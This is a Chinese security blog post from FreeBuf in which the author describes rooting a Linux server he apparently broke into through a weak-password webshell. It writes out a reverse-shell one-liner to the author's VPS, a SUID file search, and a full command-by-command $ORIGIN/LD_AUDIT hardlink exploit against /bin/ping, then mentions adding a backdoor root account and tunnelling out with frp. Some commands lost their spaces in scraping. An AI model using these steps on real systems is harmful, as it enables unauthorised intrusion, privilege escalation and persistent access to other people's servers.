freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次曲折的Linux提权
2018-11-08 14:15:04
所属地 湖南省

0X01前言

最近一个小老弟问我有没有闲置的服务器,windows倒是有几台,但是小老弟是Linux系统管理员不熟悉windows,翻翻我的webshell找到了一两台Linux不过权限都很低,想着怎么着也要把它给提下来吧(吃了人家一顿饭嘿嘿)于是就有了本文,也GET到了新的提权姿势。

0X02正文

shell怎么拿到的不详说,弱口令后台getshell。使用命令whoami查看当前权限。发现是nobody权限。nobody在linux中是一个不能登陆的帐号,一些服务进程如apache,aquid等都采用一些特殊的帐号来运行,比如nobody,news,games等等,这是就可以防止程序本身有安全问题的时候,不会被黑客获得root权限。

图片.png

说道Linux提权最先想到的肯定是利用利用内核漏洞找到对应版本相应的exp直接进行溢出提权。

首先使用命令uname-a查看当前操作系统版本。发现是2.6.18-194.17.1.el5

图片.png比较老了,心里想着这还不分分钟给你提下来。linux提权首先的获取到一个交互式的shell。有好几种方法可以实现,这里我用的是bash法。首先在你vps上监听一个端口使用命令nc-lvp port即可,然后在webshell上执行bash-i >& /dev/tcp/ip/port0>&1获取到反弹回来的shell。

图片.png图片.png

查找当前系统可使用的exp,上传,给权限,gcc编译,执行,一条龙操作。不过这个过程可能会遇到各种问题。受害主机可能没有装gcc,gcc编译提示缺少库,能执行却依旧提升不了权限。反正我是各种exp用尽然而还是提不下来。

转换思路,发现受害主机使用的是MySQL,于是一通乱翻终于找到了MySQL密码,想利用MySQLudf提权,不过之前Linux下udf提权一直没尝试过,而且网上关于这方面的文章很少还基本都长一个样,遂放弃。

图片.pngMySQL密码其实挺简单的,我就想着数据库密码都这么简单,会不会ssh也是个弱口令了,尝试去连接,不能直连,遂放弃。

图片.pngpasswdshadow文件也没权限读。怎么办??各种搜索,发现还有一招SUID提权法。网上关于这方面的文章也比较少。SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。首先要找到系统里使用SUID的文件,使用命令find/ -perm -u=s -type f 2>/dev/null

图片.png可以看到这么多文件都是都是带SUID标识符的。这里我们使用ping。

操作步骤如下(来自博客 https://blog.csdn.net/fffygapl/article/details/51783346

切换到tmp目录
cd/tmp

创建一个exploit目录
mkdirexploit

查看ping命令带suid权限
ll/bin/ping

创建target文件硬链接
ln/bin/ping /tmp/exploit/target

查看target文件权限
ll/tmp/exploit/target

把target文件加载到内存中
exec3< /tmp/exploit/target

查看target在内存中的情况
“ll/proc/$$/fd/3”

删除target文件
rm-rf /tmp/exploit/

查看target在内存中的情况是删除状态
“ll/proc/$$/fd/3”

创建一个c语言代码
vimpayload.c

实际这里由于是反弹的bash所以不建议直接在bash下使用vim,可以自己本地写好然后传到tmp目录下即可。还有如果ll命令不可用的话可以使用ls-l代替。

利用gcc编译这段代码
gcc-W -fPIC -shared -o /tmp/exploit payload.c

提升到root权限
LD_AUDIT="\$ORIGIN"exec /proc/self/fd/3

执行完,查看当前会话已经是root

图片.png

OK已经是root权限了

接下的的操作就不细讲了,新建一个用户修改passwd添加到root用户组然后使用frp进行内网穿透,这里也有一个坑,在bash下用vi编辑passwd文件非常不方便,可以本地改好然后在替换掉passwd。附上一张ssh成功连接图。

图片.png

0X03写在后面的话

也算是学习了一波新姿势了,感觉udf提权还是可以去摸索一下的,搞安全的就是在不断地实战中慢慢成长。

# linux # 提权
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者